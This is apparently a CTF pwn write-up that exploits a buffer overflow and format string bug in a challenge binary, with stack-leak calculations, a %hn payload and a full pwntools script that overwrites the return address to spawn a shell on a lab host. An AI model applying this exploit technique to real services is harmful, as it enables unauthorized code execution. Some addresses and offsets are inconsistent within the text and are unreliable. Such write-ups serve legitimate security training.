AMSI CTF 2025 - Ahahah ! You didn't say the magic word 😉

Posted Sat 14 June 2025
Author cpu_eater
Category Writeup
Tags #Pwn
Reading 2 min read
Featured image

Vulnerability

This was a buffer overflow leading to a format string vuln.
We could leak data and do an arbitrary write because of reflected address in the leak, at position %17$p.

Leak return address

It was possible to leak the return address by overflowing 256 bytes of data and then use a format string* : in position %2$p we could leak a random stack address.

This random stack address was 628 bytes away from a return address.

Return address overwrite

Here is the strategy :

Stack elementsOffset from EBPOverwrite value
EBP0(unused)
Return address 14system (0x80507d0)
Return address 28(unused)
Argument12“/bin/sh” (0x80ba34d)

We can do this in 4 writes of 2 bytes each (using %hn specifier) :

  • <stack_return_address_1> : 0x27d0 (2 less significant bytes of system)
  • <stack_return_address_1 + 2> : 0x0x0805 (2 most significant bytes of system)
  • <stack_return_address_1 + 8> : 0xa34d (2 less significant bytes of “/bin/sh”)
  • <stack_return_address_1 + 10> : 0x080b (2 most significant bytes of “/bin/sh”)

Format string vuln exploit

I used 252 bytes of overflow (instead of 256 bytes) before doing the format string vuln exploit (because 4 bytes have already been written because of %2$p). For some reason, we have to substract our bytes values by 12 bytes (because 12 bytes have already been written to stdout but i have no idea when). Here is the payload :

Stack positionTotal of bytes written (modulo 65535)Format string
return_address0x27d0 - 12 = 10180%10180c%17$hn
return_address + 2(65536 - 10180) + 0x0805 - 12 = 57397%57397c%18$hn
return_address + 8(65536 - (10180 + 57397)) + 0xa34d - 12 = 39752%39752c%19$hn
return_address + 1065536 - (10180 + 57397 + 39752) % 65536 + 0x80b - 12 = 25790%25790c%20$hn

Do not blame me for these horrific calculations, i hate format strings even though this is super powerful.

Exploit

from pwn import *

elf = ELF("GRID_security_panel_cli")
p = remote("192.168.1.107",8000)

# system @ 0x80527d0
# /bin/sh @ 0x80ba34d

p.recvuntil(b"> ")
p.sendline(b"A"*256 + b"%2$p")
stack_retaddr_leak = int(p.recv(4096).decode(),16) + 612 - 0x10
print(hex(stack_retaddr_leak))
p.sendline(p32(stack_retaddr_leak) + p32(stack_retaddr_leak + 2) + p32(stack_retaddr_leak + 8) + p32(stack_retaddr_leak + 10) + b'B'*252 + b'%10180c%17$hn%57397c%18$hn%39752c%19$hn%25790c%20$hn')
p.sendline(b"quit")

p.interactive()